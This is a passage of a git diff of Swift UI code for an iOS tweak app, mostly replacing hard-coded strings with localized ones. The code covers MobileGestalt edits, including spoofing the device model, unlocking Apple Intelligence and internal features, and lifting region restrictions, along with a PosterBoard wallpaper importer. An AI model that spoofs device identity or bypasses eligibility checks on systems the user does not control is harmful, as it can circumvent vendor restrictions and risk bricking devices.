is_empty { + Section { + if is_empty { + PlainAlert(title: NSLocalizedString("menu_warning.do_not_reboot",tableName: "GestaltView", comment: ""), icon: "exclamationmark.triangle.fill", text: NSLocalizedString("menu_warning.mg_empty_warning", tableName: "GestaltView", comment: ""), color: Color.yellow) + } + + if !is_valid { + PlainAlert(title: NSLocalizedString("menu_warning.do_not_reboot",tableName: "GestaltView", comment: ""), icon: "exclamationmark.triangle.fill", text: NSLocalizedString("menu_warning.mg_invalid_warning", tableName: "GestaltView", comment: ""), color: Color.yellow) + } + } header: { + Label(NSLocalizedString("warning", comment: ""), systemImage: "exclamationmark.triangle") + } footer: { + Text(NSLocalizedString("menu_warning.bootloop", tableName: "GestaltView", comment: "")) + } + } + + Section { + Button { + mg_apply_ui_state(selected_st, enable_device_name, mg_device_name, product_type) + mg_apply() + } label: { + Text(NSLocalizedString("menu.apply_tweaks", tableName: "GestaltView", comment: "")) + } + + Button { + mg_revert() + } label: { + Text(NSLocalizedString("menu.revert_tweaks", tableName: "GestaltView", comment: "")) + } + + Button { + state.respring() + } label: { + Text(NSLocalizedString("respring", comment: "")) + } + } footer: { + Text(try! AttributedString(markdown: NSLocalizedString("menu.tweak_warning", tableName: "GestaltView", comment: ""))) + } + + Section { + Picker(selection: $selected_st) { + Text("\(NSLocalizedString("Original", tableName: "SettingsView", comment: "")) (\(og_st))").tag("og") + + if is_device_good() { + Text(NSLocalizedString("artwork.disable_dynamic_island", tableName: "GestaltView", comment: "")).tag("no_dynamic_island") + } + + Text("iPhone 14 Pro").tag("14p") + Text("iPhone 14 Pro Max").tag("14pm") + Text("iPhone 15 Pro Max").tag("15pm") + + if doubleSystemVersion() >= 18.0 { + Text("iPhone 16 Pro").tag("16p") + Text("iPhone 16 Pro Max").tag("16pm") + } + + if doubleSystemVersion() >= 26.0 { + Text("iPhone Air").tag("air") + } + + if has_home_button() { + Text("iPhone X Gestures").tag("x") + } + } label: { + HStack { + Text(NSLocalizedString("artwork.subtype", tableName: "GestaltView", comment: "")) + Spacer() + } + } + + Toggle(NSLocalizedString("artwork.custom_device_name", tableName: "GestaltView", comment: ""), isOn: $enable_device_name) + + if enable_device_name { + TextField(NSLocalizedString("artwork.device_name", tableName: "GestaltView", comment: ""), text: $mg_device_name) + } + } header: { + Label(NSLocalizedString("artwork.device_artwork", tableName: "GestaltView", comment: ""), systemImage: "paintbrush.pointed") + } + + Section { + TweakToggle(title: NSLocalizedString("software.enable_dynamic_island_capability", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("software.always_on_display", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("software.aod_vibrancy", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("software.disable_wallpaper_parallax", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("software.charge_limit_menu", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("software.boot_shutdown_chime", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("software.enable_liquid_glass_low_performance_mode", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("software.disable_liquid_glass_low_performance_mode", tableName: "GestaltView", comment: "")) + } header: { + Label(NSLocalizedString("software.software_oriented_features", tableName: "GestaltView", comment: ""), systemImage: "gearshape") + } + + Section { + TweakToggle(title: NSLocalizedString("hardware.camera_control_settings", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("hardware.action_button_settings", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("hardware.collision_sos", tableName: "GestaltView", comment: "")) + if has_home_button() { + TweakToggle(title: NSLocalizedString("hardware.tap_to_wake", tableName: "GestaltView", comment: "")) + } + TweakToggle(title: NSLocalizedString("hardware.pulse_width_modulation", tableName: "GestaltView", comment: "")) + } header: { + Label(NSLocalizedString("hardware.hardware_oriented_features", tableName: "GestaltView", comment: ""), systemImage: "iphone") + } + + Section { + TweakToggle(title: NSLocalizedString("eligibility.security_research_device_mode", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("eligibility.disable_region_restrictions", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("eligibility.apple_intelligence", tableName: "GestaltView", comment: "")) + + HStack(spacing: 10) { + Picker(NSLocalizedString("eligibility.spoofing", tableName: "GestaltView", comment: ""), selection: $product_type) { + Text(NSLocalizedString("eligibility.default_model", tableName: "GestaltView", comment: "")).tag(machine_name()) + if UIDevice.current.userInterfaceIdiom == .pad { + if doubleSystemVersion() >= 17.4 { + Text("iPad Pro 11-inch (M4)").tag("iPad16,3") + Text("iPad Pro 11-inch (M4, Cellular)").tag("iPad16,4") + } + Text("iPad Pro 11-inch (4th Gen)").tag("iPad14,3") + Text("iPad Pro 11-inch (4th Gen, Cellular)").tag("iPad14,4") + } else { + Text("iPhone 15 Pro").tag("iPhone16,1") + Text("iPhone 15 Pro Max").tag("iPhone16,2") + if doubleSystemVersion() >= 18.0 { + Text("iPhone 16").tag("iPhone17,3") + Text("iPhone 16 Plus").tag("iPhone17,4") + Text("iPhone 16 Pro").tag("iPhone17,1") + Text("iPhone 16 Pro Max").tag("iPhone17,2") + } + if doubleSystemVersion() >= 19.0 { + Text("iPhone 17").tag("iPhone18,3") + Text("iPhone 17 Pro").tag("iPhone18,1") + Text("iPhone 17 Pro Max").tag("iPhone18,2") + Text("iPhone Air").tag("iPhone18,4") + } + } + } + + Button { + AlertinatorLocalized.shared.alert( + title: NSLocalizedString("eligibility.device_spoofing_info", tableName: "GestaltView", comment: ""), + body: NSLocalizedString("eligibility.device_spoofing_info_body", tableName: "GestaltView", comment: "") + ) + } label: { + Image(systemName: "info.circle") + .frame(width: 24, height: 22) + } + .buttonStyle(.plain) + } + } header: { + Label(NSLocalizedString("eligibility.eligibility", tableName: "GestaltView", comment: ""), systemImage: "checklist") + } + + Section { + let cache_extra = mg_dict_now["CacheExtra"] as? NSMutableDictionary + + TweakToggle(title: NSLocalizedString("ipados.allow_ipados_apps", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("ipados.apple_pencil_settings", tableName: "GestaltView", comment: "")) + + if UIDevice.current.userInterfaceIdiom == .pad { + TweakToggle(title: NSLocalizedString("ipados.stage_manager_support", tableName: "GestaltView", comment: "")) + } + + TweakToggle(title: NSLocalizedString("ipados.ipados_mode", tableName: "GestaltView", comment: "")) + .disabled(cache_extra?["+3Uf0Pm5F8Xy7Onyvko0vA"] as? String != "iPhone") + } header: { + Label(NSLocalizedString("ipados.ipados_features", tableName: "GestaltView", comment: ""), systemImage: "ipad") + } + + Section { + TweakToggle(title: NSLocalizedString("internal.internal_storage_view", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("internal.internal_features", tableName: "GestaltView", comment: "")) + TweakToggle(title: NSLocalizedString("internal.apple_internal_install", tableName: "GestaltView", comment: "")) + } header: { + Label(NSLocalizedString("internal.internal", tableName: "GestaltView", comment: ""), systemImage: "ant") + } + } + .navigationTitle("MobileGestalt") + .tint(Color("AccentColor")) + .task { + mg_load() + while is_loading { + try? await Task.sleep(for: .milliseconds(50)) + } + let s = mg_ui_state() + selected_st = s.0 + enable_device_name = s.1 + mg_device_name = s.2 + product_type = s.3 + } + .toolbar { + ToolbarItem(placement: .navigationBarTrailing) { + HStack { + Button { + show_settings = true + } label: { + Image(systemName: "gear") + } + } + } + } + .sheet(isPresented: $show_settings) { + SettingsView() + } + } + } +} \ No newline at end of file diff --git a/mond/views/tweaks/posterboard/PosterView.swift b/mond/views/tweaks/posterboard/PosterView.swift index 7a95401..fd8247b 100644 --- a/mond/views/tweaks/posterboard/PosterView.swift +++ b/mond/views/tweaks/posterboard/PosterView.swift @@ -1,170 +1,170 @@ -// -// PosterView.swift -// mond -// -// Created by ruter on 11.08.26. -// - -import SwiftUI -import UniformTypeIdentifiers -import SafariServices -import PartyUI - -struct PosterView: View { - @Environment(\.dismiss) private var dismiss - @EnvironmentObject var state: AppState - - @State private var show_settings: Bool = false - @State private var show_importer: Bool = false - @State private var show_explorer: Bool = false - @State private var busy = false - - var body: some View { - NavigationStack { - List { - Section { - Button { - apply() - } label: { - HStack { - if busy { - ProgressView() - } - - Text("Apply") - } - } - .disabled(state.poster_files.isEmpty || busy) - - if false { - Button { - reset() - } label: { - Text("Reset") - } - .disabled(busy) - } - } - - Section { - Button { - show_importer = true - } label: { - Text("Import Tendies") - } - .disabled(busy) - - Button { - show_explorer = true - } label: { - Text("Explore Tendies") - } - .disabled(busy) - } footer: { - Text("Import up to 5 wallpaper packs.\n**NOTE:** Importing more than 5 tendies at once is not a good idea and importing more than 15 is a TERRIBLE idea. Dont say I didnt warn you.") - } - - if !state.poster_files.isEmpty { - Section { - ForEach(state.poster_files, id: \.self) { url in - Text(url.lastPathComponent) - } - .onDelete { offsets in - state.remove_poster_files(at: offsets) - } - } header: { - Label("Imported", systemImage: "document.on.document") - } - } - } - .navigationTitle("PosterBoard") - .toolbar { - ToolbarItem(placement: .navigationBarTrailing) { - HStack { - Button { - show_settings = true - } label: { - Image(systemName: "gear") - } - } - } - } - .sheet(isPresented: $show_settings) { - SettingsView() - } - .sheet(isPresented: $show_explorer) { - TendiesView() - } - .fileImporter(isPresented: $show_importer, allowedContentTypes: [.data], allowsMultipleSelection: true) { result in - switch result { - case .success(let urls): - urls.forEach { state.append_poster_file($0) } - case .failure(let error): - print("(pb) import failed: \(error)") - } - } - } - } - - private func apply() { - busy = true - do { - let count = try pb.apply(at: state.poster_files) - print("(pb) applied \(count) descriptor(s).") - busy = false - Alertinator.shared.alert( - title: "Successfully applied PosterBoard!", - body: "For changes to take effect:\n1. Click 'Open' to launch Posterboard\n2. Close it from the App Switcher", - actionLabel: "Open", - action: { - // state.respring() - - let cls = objc_getClass("LSApplicationWorkspace") as? NSObject - let ws = cls?.perform(Selector(("defaultWorkspace"))).takeUnretainedValue() - _ = ws?.perform(Selector(("openApplicationWithBundleID:")), with: "com.apple.PosterBoard") - } - ) - } catch { - print("(pb) failed: \(error.localizedDescription)\n") - busy = false - Alertinator.shared.alert( - title: "Failed to apply PosterBoard!", - body: "Restart the app and try again. Check logs for more detailed information." - ) - } - } - - private func reset() { - busy = true - do { - try pb.reset() - print("(pb) reset done.") - busy = false - Alertinator.shared.alert( - title: "Successfully reverted PosterBoard!", - body: "Respring your device for changes to take effect.", - actionLabel: "Respring", - action: { - state.respring() - } - ) - } catch { - print("(pb) failed: \(error.localizedDescription)") - busy = false - Alertinator.shared.alert( - title: "Failed to revert PosterBoard!", - body: "Restart the app and try again. Check logs for more detailed information." - ) - } - } -} - -struct SafariView: UIViewControllerRepresentable { - let url: URL - - func makeUIViewController(context: Context) -> SFSafariViewController { - SFSafariViewController(url: url) - } - - func updateUIViewController(_ controller: SFSafariViewController, context: Context) {} -} +// +// PosterView.swift +// mond +// +// Created by ruter on 11.08.26. +// + +import SwiftUI +import UniformTypeIdentifiers +import SafariServices +import PartyUI + +struct PosterView: View { + @Environment(\.dismiss) private var dismiss + @EnvironmentObject var state: AppState + + @State private var show_settings: Bool = false + @State private var show_importer: Bool = false + @State private var show_explorer: Bool = false + @State private var busy = false + + var body: some View { + NavigationStack { + List { + Section { + Button { + apply() + } label: { + HStack { + if busy { + ProgressView() + } + + Text(NSLocalizedString("apply", tableName: "PosterView", comment: "")) + } + } + .disabled(state.poster_files.isEmpty || busy) + + if false { + Button { + reset() + } label: { + Text(NSLocalizedString("reset", tableName: "PosterView", comment: "")) + } + .disabled(busy) + } + } + + Section { + Button { + show_importer = true + } label: { + Text(NSLocalizedString("import_tendies", tableName: "PosterView", comment: "")) + } + .disabled(busy) + + Button { + show_explorer = true + } label: { + Text(NSLocalizedString("explore_tendies", tableName: "PosterView", comment: "")) + } + .disabled(busy) + } footer: { + Text(try! AttributedString(markdown:NSLocalizedString("tendies_warning", tableName: "PosterView", comment: ""))) + } + + if !state.poster_files.isEmpty { + Section { + ForEach(state.poster_files, id: \.self) { url in + Text(url.lastPathComponent) + } + .onDelete { offsets in + state.remove_poster_files(at: offsets) + } + } header: { + Label(NSLocalizedString("imported", tableName: "PosterView", comment: ""), systemImage: "document.on.document") + } + } + } + .navigationTitle("PosterBoard") + .toolbar { + ToolbarItem(placement: .navigationBarTrailing) { + HStack { + Button { + show_settings = true + } label: { + Image(systemName: "gear") + } + } + } + } + .sheet(isPresented: $show_settings) { + SettingsView() + } + .sheet(isPresented: $show_explorer) { + TendiesView() + } + .fileImporter(isPresented: $show_importer, allowedContentTypes: [.data], allowsMultipleSelection: true) { result in + switch result { + case .success(let urls): + urls.forEach { state.append_poster_file($0) } + case .failure(let error): + print("(pb) import failed: \(error)") + } + } + } + } + + private func apply() { + busy = true + do { + let count = try pb.apply(at: state.poster_files) + print("(pb) applied \(count) descriptor(s).") + busy = false + AlertinatorLocalized.shared.alert( + title: NSLocalizedString("poster_apply_success_title", tableName: "PosterView", comment: ""), + body: NSLocalizedString("poster_take_effect", tableName: "PosterView", comment: ""), + actionLabel: NSLocalizedString("open", tableName: "PosterView", comment: ""), + action: { + // state.respring() + + let cls = objc_getClass("LSApplicationWorkspace") as? NSObject + let ws = cls?.perform(Selector(("defaultWorkspace"))).takeUnretainedValue() + _ = ws?.perform(Selector(("openApplicationWithBundleID:")), with: "com.apple.PosterBoard") + } + ) + } catch { + print("(pb) failed: \(error.localizedDescription)\n") + busy = false + AlertinatorLocalized.shared.alert( + title: NSLocalizedString("poster_apply_failed_title", tableName: "PosterView", comment: ""), + body: NSLocalizedString("poster_apply_failed_body", tableName: "PosterView", comment: "") + ) + } + } + + private func reset() { + busy = true + do { + try pb.reset() + print("(pb) reset done.") + busy = false + AlertinatorLocalized.shared.alert( + title: NSLocalizedString("poster_reset_success_title", tableName: "PosterView", comment: ""), + body: NSLocalizedString("poster_reset_success_body", tableName: "PosterView", comment: ""), + actionLabel: NSLocalizedString("respring", comment: ""), + action: { + state.respring() + } + ) + } catch { + print("(pb) failed: \(error.localizedDescription)") + busy = false + AlertinatorLocalized.shared.alert( + title: NSLocalizedString("poster_reset_failed_title", tableName: "PosterView", comment: ""), + body: NSLocalizedString("poster_reset_failed_body", tableName: "PosterView", comment: "") + ) + } + } +} + +struct SafariView: UIViewControllerRepresentable { + let url: URL + + func makeUIViewController(context: Context) -> SFSafariViewController { + SFSafariViewController(url: url) + } + + func updateUIViewController(_ controller: SFSafariViewController, context: Context) {} +} \ No newline at end of file diff --git a/mond/views/tweaks/posterboard/TendiesView.swift b/mond/views/tweaks/posterboard/TendiesView.swift index 0a6be6e..64790da 100644 --- a/mond/views/tweaks/posterboard/TendiesView.swift +++ b/mond/views/tweaks/posterboard/TendiesView.swift @@ -1,332 +1,332 @@ -// -// TendiesView.swift -// mond -// -// Created by ruter on 15.08.26. -// - -import SwiftUI -import UIKit - -struct TendiesView: View { - @EnvironmentObject private var state: AppState - @Environment(\.dismiss) private var dismiss - @AppStorage("dismiss_after_import") private var dismiss_after_import = false - @State private var vm = TendiesVM() - @State private var import_error: String? - - var body: some View { - NavigationStack { - Group { - if vm.loading && vm.wallpapers.isEmpty { - ProgressView("Loading wallpapers…") - } else if let error = vm.error_msg, vm.wallpapers.isEmpty { - ContentUnavailableView { - Label("Couldn't Load tendies", systemImage: "wifi.exclamationmark") - } description: { - Text(error) - } actions: { - Button("Try Again") { - Task { - await vm.retry() - } - } - } - } else { - tendies_list - } - } - .navigationTitle("Tendies") - .searchable( - text: $vm.query, - prompt: "Search wallpapers" - ) - .toolbar { - ToolbarItem(placement: .topBarTrailing) { - Button { - Task { - await vm.load() - } - } label: { - Image(systemName: "arrow.clockwise") - } - .disabled(vm.loading) - } - } - .task { - await vm.load() - } - } - .alert("Import Failed", isPresented: Binding( - get: { import_error != nil }, - set: { if !$0 { import_error = nil } } - )) { - Button("OK", role: .cancel) {} - } message: { - Text(import_error ?? "") - } - } - - private var tendies_list: some View { - ScrollView { - MasonryLayout(columns: 2, spacing: 16) { - ForEach(vm.filtered) { wallpaper in - tendies_cell(wallpaper) - } - } - .padding(.horizontal) - } - .overlay { - if vm.filtered.isEmpty && - !vm.loading && - !vm.query.isEmpty { - ContentUnavailableView.search - } - } - } - - private func tendies_cell(_ wallpaper: tendies) -> some View { - VStack(alignment: .leading, spacing: 8) { - NavigationLink { - TendiesDetail(wallpaper: wallpaper, dismiss_explorer: { dismiss() }) - } label: { - VStack(alignment: .leading, spacing: 8) { - AsyncImage(url: wallpaper.preview_url) { phase in - switch phase { - case .empty: - ProgressView() - .frame(maxWidth: .infinity) - .frame(height: 300) - .background(.quaternary) - .clipShape(RoundedRectangle(cornerRadius: 12)) - - case .success(let image): - image - .resizable() - .scaledToFit() - .frame(maxWidth: .infinity) - .background(.quaternary) - .clipShape(RoundedRectangle(cornerRadius: 12)) - - case .failure: - Image(systemName: "photo") - .font(.title2) - .foregroundStyle(.secondary) - .frame(maxWidth: .infinity) - .frame(height: 300) - .background(.quaternary) - .clipShape(RoundedRectangle(cornerRadius: 12)) - - @unknown default: - EmptyView() - } - } - - HStack { - Text(wallpaper.name) - .lineLimit(1) - .multilineTextAlignment(.leading) - - Spacer(minLength: 0) - - Image(systemName: "chevron.right") - .font(.footnote) - .foregroundStyle(.secondary) - } - } - } - .foregroundStyle(.primary) - } - .padding(12) - .background( - RoundedRectangle(cornerRadius: 12, style: .continuous) - .fill(Color(.secondarySystemBackground)) - ) - .contextMenu { - if wallpaper.download_url != nil { - Button { - Task { - await add_to_imported(wallpaper) - } - } label: { - Label("Add to Imported", systemImage: "arrow.down.circle") - } - } - } - } - - private func add_to_imported(_ wallpaper: tendies) async { - do { - let destination = try await download_tendies(wallpaper) - state.append_poster_file(destination) - print("(pb) imported \(destination.lastPathComponent)") - - if dismiss_after_import { - dismiss() - } - } catch { - print("(pb) download failed: \(error.localizedDescription)") - import_error = error.localizedDescription - } - } -} - -private struct MasonryLayout: Layout { - var columns = 2 - var spacing: CGFloat = 16 - - private func column_width(in width: CGFloat) -> CGFloat { - (width - spacing * CGFloat(columns - 1)) / CGFloat(columns) - } - - private func shortest_column(_ heights: [CGFloat]) -> Int { - heights.firstIndex(of: heights.min() ?? 0) ?? 0 - } - - func sizeThatFits(proposal: ProposedViewSize, subviews: Subviews, cache: inout ()) -> CGSize { - let width = proposal.width ?? 0 - let cell_width = column_width(in: width) - var heights = [CGFloat](repeating: 0, count: columns) - - for subview in subviews { - let height = subview.sizeThatFits(ProposedViewSize(width: cell_width, height: nil)).height - let column = shortest_column(heights) - heights[column] += height + spacing - } - - return CGSize(width: width, height: (heights.max() ?? 0) - spacing) - } - - func placeSubviews(in bounds: CGRect, proposal: ProposedViewSize, subviews: Subviews, cache: inout ()) { - let cell_width = column_width(in: bounds.width) - var heights = [CGFloat](repeating: 0, count: columns) - - for subview in subviews { - let column = shortest_column(heights) - let size = subview.sizeThatFits(ProposedViewSize(width: cell_width, height: nil)) - subview.place( - at: CGPoint(x: bounds.minX + CGFloat(column) * (cell_width + spacing), y: bounds.minY + heights[column]), - proposal: ProposedViewSize(width: cell_width, height: size.height) - ) - heights[column] += size.height + spacing - } - } -} - -struct TendiesDetail: View { - let wallpaper: tendies - let dismiss_explorer: () -> Void - - @EnvironmentObject private var state: AppState - @AppStorage("dismiss_after_import") private var dismiss_after_import = false - - @State private var importing = false - @State private var import_error: String? - - var body: some View { - List { - Section { - AsyncImage(url: wallpaper.preview_url) { phase in - switch phase { - case .empty: - ProgressView() - .frame(maxWidth: .infinity) - .frame(height: 500) - - case .success(let image): - image - .resizable() - .scaledToFit() - .frame(maxWidth: .infinity) - .clipShape(RoundedRectangle(cornerRadius: 20)) - - case .failure: - ContentUnavailableView("Preview Unavailable", systemImage: "photo", description: Text("The wallpaper preview couldn't be loaded.")) - - @unknown default: - EmptyView() - } - } - - VStack(alignment: .leading) { - Text(wallpaper.name) - .font(.largeTitle) - .fontWeight(.bold) - - if let description = wallpaper.description, !description.isEmpty { - Text(description) - .font(.body) - .foregroundStyle(.secondary) - } - } - - if let authors = wallpaper.authors, !authors.isEmpty { - HStack(spacing: 6) { - Image(systemName: "person") - .foregroundStyle(.secondary) - Text(authors) - } - } - - HStack(spacing: 6) { - Image(systemName: "number") - .foregroundStyle(.secondary) - Text(String(wallpaper.id)) - } - - if let contest = wallpaper.contest { - HStack(spacing: 6) { - Image(systemName: "trophy") - .foregroundStyle(.secondary) - Text(contest) - } - } - - if wallpaper.download_url != nil { - Button { - Task { - await import_wallpaper() - } - } label: { - if importing { - HStack { - ProgressView() - Text("Downloading...") - } - } else { - Text("Add to Imported") - } - } - .disabled(importing) - } - } - } - .navigationTitle(wallpaper.name) - .alert("Download Failed", isPresented: Binding( - get: { import_error != nil }, - set: { if !$0 { import_error = nil } } - )) { - Button("OK", role: .cancel) {} - } message: { - Text(import_error ?? "") - } - } - - private func import_wallpaper() async { - importing = true - defer { importing = false } - - do { - let destination = try await download_tendies(wallpaper) - state.append_poster_file(destination) - print("(pb) imported \(destination.lastPathComponent)") - - if dismiss_after_import { - dismiss_explorer() - } - } catch { - print("(pb) download failed: \(error.localizedDescription)") - import_error = error.localizedDescription - } - } -} +// +// TendiesView.swift +// mond +// +// Created by ruter on 15.08.26. +// + +import SwiftUI +import UIKit + +struct TendiesView: View { + @EnvironmentObject private var state: AppState + @Environment(\.dismiss) private var dismiss + @AppStorage("dismiss_after_import") private var dismiss_after_import = false + @State private var vm = TendiesVM() + @State private var import_error: String? + + var body: some View { + NavigationStack { + Group { + if vm.loading && vm.wallpapers.isEmpty { + ProgressView(NSLocalizedString("loading_wallpapers", tableName: "TendiesView", comment: "")) + } else if let error = vm.error_msg, vm.wallpapers.isEmpty { + ContentUnavailableView { + Label(NSLocalizedString("couldnt_load_tendies", tableName: "TendiesView", comment: ""), systemImage: "wifi.exclamationmark") + } description: { + Text(error) + } actions: { + Button(NSLocalizedString("try_again", tableName: "TendiesView", comment: "")) { + Task { + await vm.retry() + } + } + } + } else { + tendies_list + } + } + .navigationTitle("Tendies") + .searchable( + text: $vm.query, + prompt: NSLocalizedString("search_wallpapers", tableName: "TendiesView", comment: "") + ) + .toolbar { + ToolbarItem(placement: .topBarTrailing) { + Button { + Task { + await vm.load() + } + } label: { + Image(systemName: "arrow.clockwise") + } + .disabled(vm.loading) + } + } + .task { + await vm.load() + } + } + .alert(NSLocalizedString("import_failed", tableName: "TendiesView", comment: ""), isPresented: Binding( + get: { import_error != nil }, + set: { if !$0 { import_error = nil } } + )) { + Button(NSLocalizedString("ok", tableName: "TendiesView", comment: ""), role: .cancel) {} + } message: { + Text(import_error ?? "") + } + } + + private var tendies_list: some View { + ScrollView { + MasonryLayout(columns: 2, spacing: 16) { + ForEach(vm.filtered) { wallpaper in + tendies_cell(wallpaper) + } + } + .padding(.horizontal) + } + .overlay { + if vm.filtered.isEmpty && + !vm.loading && + !vm.query.isEmpty { + ContentUnavailableView.search + } + } + } + + private func tendies_cell(_ wallpaper: tendies) -> some View { + VStack(alignment: .leading, spacing: 8) { + NavigationLink { + TendiesDetail(wallpaper: wallpaper, dismiss_explorer: { dismiss() }) + } label: { + VStack(alignment: .leading, spacing: 8) { + AsyncImage(url: wallpaper.preview_url) { phase in + switch phase { + case .empty: + ProgressView() + .frame(maxWidth: .infinity) + .frame(height: 300) + .background(.quaternary) + .clipShape(RoundedRectangle(cornerRadius: 12)) + + case .success(let image): + image + .resizable() + .scaledToFit() + .frame(maxWidth: .infinity) + .background(.quaternary) + .clipShape(RoundedRectangle(cornerRadius: 12)) + + case .failure: + Image(systemName: "photo") + .font(.title2) + .foregroundStyle(.secondary) + .frame(maxWidth: .infinity) + .frame(height: 300) + .background(.quaternary) + .clipShape(RoundedRectangle(cornerRadius: 12)) + + @unknown default: + EmptyView() + } + } + + HStack { + Text(wallpaper.name) + .lineLimit(1) + .multilineTextAlignment(.leading) + + Spacer(minLength: 0) + + Image(systemName: "chevron.right") + .font(.footnote) + .foregroundStyle(.secondary) + } + } + } + .foregroundStyle(.primary) + } + .padding(12) + .background( + RoundedRectangle(cornerRadius: 12, style: .continuous) + .fill(Color(.secondarySystemBackground)) + ) + .contextMenu { + if wallpaper.download_url != nil { + Button { + Task { + await add_to_imported(wallpaper) + } + } label: { + Label(NSLocalizedString("add_to_imported", tableName: "TendiesView", comment: ""), systemImage: "arrow.down.circle") + } + } + } + } + + private func add_to_imported(_ wallpaper: tendies) async { + do { + let destination = try await download_tendies(wallpaper) + state.append_poster_file(destination) + print("(pb) imported \(destination.lastPathComponent)") + + if dismiss_after_import { + dismiss() + } + } catch { + print("(pb) download failed: \(error.localizedDescription)") + import_error = error.localizedDescription + } + } +} + +private struct MasonryLayout: Layout { + var columns = 2 + var spacing: CGFloat = 16 + + private func column_width(in width: CGFloat) -> CGFloat { + (width - spacing * CGFloat(columns - 1)) / CGFloat(columns) + } + + private func shortest_column(_ heights: [CGFloat]) -> Int { + heights.firstIndex(of: heights.min() ?? 0) ?? 0 + } + + func sizeThatFits(proposal: ProposedViewSize, subviews: Subviews, cache: inout ()) -> CGSize { + let width = proposal.width ?? 0 + let cell_width = column_width(in: width) + var heights = [CGFloat](repeating: 0, count: columns) + + for subview in subviews { + let height = subview.sizeThatFits(ProposedViewSize(width: cell_width, height: nil)).height + let column = shortest_column(heights) + heights[column] += height + spacing + } + + return CGSize(width: width, height: (heights.max() ?? 0) - spacing) + } + + func placeSubviews(in bounds: CGRect, proposal: ProposedViewSize, subviews: Subviews, cache: inout ()) { + let cell_width = column_width(in: bounds.width) + var heights = [CGFloat](repeating: 0, count: columns) + + for subview in subviews { + let column = shortest_column(heights) + let size = subview.sizeThatFits(ProposedViewSize(width: cell_width, height: nil)) + subview.place( + at: CGPoint(x: bounds.minX + CGFloat(column) * (cell_width + spacing), y: bounds.minY + heights[column]), + proposal: ProposedViewSize(width: cell_width, height: size.height) + ) + heights[column] += size.height + spacing + } + } +} + +struct TendiesDetail: View { + let wallpaper: tendies + let dismiss_explorer: () -> Void + + @EnvironmentObject private var state: AppState + @AppStorage("dismiss_after_import") private var dismiss_after_import = false + + @State private var importing = false + @State private var import_error: String? + + var body: some View { + List { + Section { + AsyncImage(url: wallpaper.preview_url) { phase in + switch phase { + case .empty: + ProgressView() + .frame(maxWidth: .infinity) + .frame(height: 500) + + case .success(let image): + image + .resizable() + .scaledToFit() + .frame(maxWidth: .infinity) + .clipShape(RoundedRectangle(cornerRadius: 20)) + + case .failure: + ContentUnavailableView(NSLocalizedString("preview_unavailable", tableName: "TendiesView", comment: ""), systemImage: "photo", description: Text(NSLocalizedString("preview_couldnt_load", tableName: "TendiesView", comment: ""))) + + @unknown default: + EmptyView() + } + } + + VStack(alignment: .leading) { + Text(wallpaper.name) + .font(.largeTitle) + .fontWeight(.bold) + + if let description = wallpaper.description, !description.isEmpty { + Text(description) + .font(.body) + .foregroundStyle(.secondary) + } + } + + if let authors = wallpaper.authors, !authors.isEmpty { + HStack(spacing: 6) { + Image(systemName: "person") + .foregroundStyle(.secondary) + Text(authors) + } + } + + HStack(spacing: 6) { + Image(systemName: "number") + .foregroundStyle(.secondary) + Text(String(wallpaper.id)) + } + + if let contest = wallpaper.contest { + HStack(spacing: 6) { + Image(systemName: "trophy") + .foregroundStyle(.secondary) + Text(contest) + } + } + + if wallpaper.download_url != nil { + Button { + Task { + await import_wallpaper() + } + } label: { + if importing { + HStack { + ProgressView() + Text(NSLocalizedString("downloading", tableName: "TendiesView", comment: "")) + } + } else { + Text(NSLocalizedString("add_to_imported", tableName: "TendiesView", comment: "")) + } + } + .disabled(importing) + } + } + } + .navigationTitle(wallpaper.name) + .alert(NSLocalizedString("download_failed", tableName: "TendiesView", comment: ""), isPresented: Binding( + get: { import_error != nil }, + set: { if !$0 { import_error = nil } } + )) { + Button(NSLocalizedString("ok", tableName: "TendiesView", comment: ""), role: .cancel) {} + } message: { + Text(import_error ?? "") + } + } + + private func import_wallpaper() async { + importing = true + defer { importing = false } + + do { + let destination = try await download_tendies(wallpaper) + state.append_poster_file(destination) + print("(pb) imported \(destination.lastPathComponent)") + + if dismiss_after_import { + dismiss_explorer() + } + } catch { + print("(pb) download failed: \(error.localizedDescription)") + import_error = error.localizedDescription + } + } +} \ No newline at end of file